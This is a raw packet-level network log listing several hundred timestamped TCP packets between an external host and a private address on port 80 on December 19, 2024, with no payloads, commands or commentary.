Dec 19, 2024 20:11:51.243571997 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.243626118 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.243812084 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.243858099 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.244442940 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.244457006 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.244503975 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.245243073 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.245289087 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.245532990 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.245610952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.246151924 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.246218920 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.246299028 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.246345997 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.246963024 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.247020006 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.247195005 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.247241020 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.247891903 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.247904062 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.247945070 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.248693943 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.248740911 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.249336958 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.249382973 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.249798059 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.249846935 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.249937057 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.249986887 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.250438929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.250488043 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.250550985 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.250602961 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.251322031 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.251374960 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.251413107 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.251456976 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.252222061 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.252281904 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.252691984 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.252897978 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.253150940 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.253164053 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.253206015 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.253921986 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.253985882 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.254106998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.254163027 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.254828930 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.254957914 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.254998922 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.255778074 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.255791903 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.255829096 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.257168055 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.257181883 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.257220984 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.258178949 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.258192062 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.258264065 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.404830933 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.404872894 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.404915094 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.404936075 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.405195951 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.405246019 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.405334949 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.405383110 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.406122923 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.406200886 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.406233072 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.406279087 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.407057047 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.407104015 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.407193899 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.407242060 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.407820940 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.407866955 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.408195972 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.408246040 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.408674002 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.408685923 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.408715963 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.408726931 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.409548998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.409598112 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.409730911 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.409775972 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.410381079 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.410466909 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.411241055 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.411288023 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.411372900 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.411385059 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.411421061 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.412158012 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.412204027 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.412431955 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.412473917 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.413007021 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.413053036 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.413084030 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.413129091 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.413934946 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.413945913 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.413988113 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.414764881 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.414809942 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.415215015 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.415265083 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.415666103 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.415714025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.415777922 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.415823936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.416574955 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.416623116 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.416954041 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.416996956 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.417421103 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.417465925 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.418231964 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.418243885 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.418287992 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.418387890 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.418490887 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.419195890 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.419209003 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.419281960 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.420160055 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.420208931 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.420270920 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.420317888 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.420897007 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.420909882 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.420944929 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.420957088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.421684980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.421739101 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.422161102 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.422207117 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.422549009 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.422561884 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.422609091 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.423428059 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.423475027 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.423893929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.423939943 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.424271107 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.424314976 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.424755096 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.424801111 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.425158024 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.425203085 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.425297022 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.425339937 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.426059008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.426105022 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.426614046 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.426661968 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.427951097 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.428056002 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.428199053 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.428220034 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.428246021 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.428263903 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.428848982 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.428860903 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.428872108 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.428906918 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.428927898 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.429621935 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.429665089 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.429755926 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.429800034 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.430442095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.430485010 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.430747032 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.430797100 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.431274891 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.431325912 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.431849003 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.431905031 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.432075024 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.432118893 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.432601929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.432646036 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.432929993 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.432975054 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.433945894 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.433959007 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.434005976 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.434086084 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.434122086 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.434736013 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.435277939 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.435348034 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.435573101 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.436111927 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.436160088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.436433077 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.436482906 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.436546087 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.436764956 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.437345982 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.437391996 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.437503099 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.437547922 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.438379049 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.438425064 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.438719034 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.438762903 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.439378977 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.439426899 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.439788103 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.439836025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.440037966 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.440080881 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.440160036 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.440202951 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.440785885 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.440831900 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.441608906 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.441653967 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.441730976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.441744089 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.441776037 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.442526102 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.442569017 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.443200111 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.443244934 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.443371058 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.443383932 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.443416119 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.444272995 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.444344044 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.444374084 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.444422007 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.445132971 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.445189953 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.445288897 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.445334911 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.445974112 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.446021080 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.446197987 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.446244001 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.447146893 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.447179079 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.447201014 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.447227955 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.447721958 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.447773933 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.448005915 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.448059082 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.448576927 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.448625088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.449434042 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.449465990 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.449480057 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.449497938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.449527025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.450335026 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.450403929 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.597137928 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.597378969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.597445011 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.597544909 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.597671986 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.597723007 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.598321915 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.598367929 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.598438025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.598519087 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.599251986 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.599298000 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.599421024 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.599466085 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.601913929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.601958990 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.602087021 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.602106094 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.602134943 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.602153063 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.602472067 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.602488041 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.602504015 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.602519989 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.602538109 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.602930069 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.602974892 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.603118896 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.603538990 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.603583097 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.603673935 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.604473114 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.604518890 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.604904890 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.604949951 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.605307102 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.605324030 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.605365992 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.606122971 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.606476068 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.606523991 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.607026100 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.607043028 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.607085943 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.607861996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.607908964 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.608059883 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.608725071 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.608771086 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.608870029 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.609638929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.609653950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.609699965 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.610549927 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.611162901 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.611217976 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.611326933 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.611341953 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.611392975 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.612294912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.612344980 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.612590075 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.613035917 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.613080978 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.613188982 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.613933086 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.613981009 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.614144087 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.614188910 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.614780903 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.614936113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.614984035 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.615901947 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.616353035 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.616396904 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.616889954 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.616906881 CET	80	49877	31.41.244.11	192.168.2.4
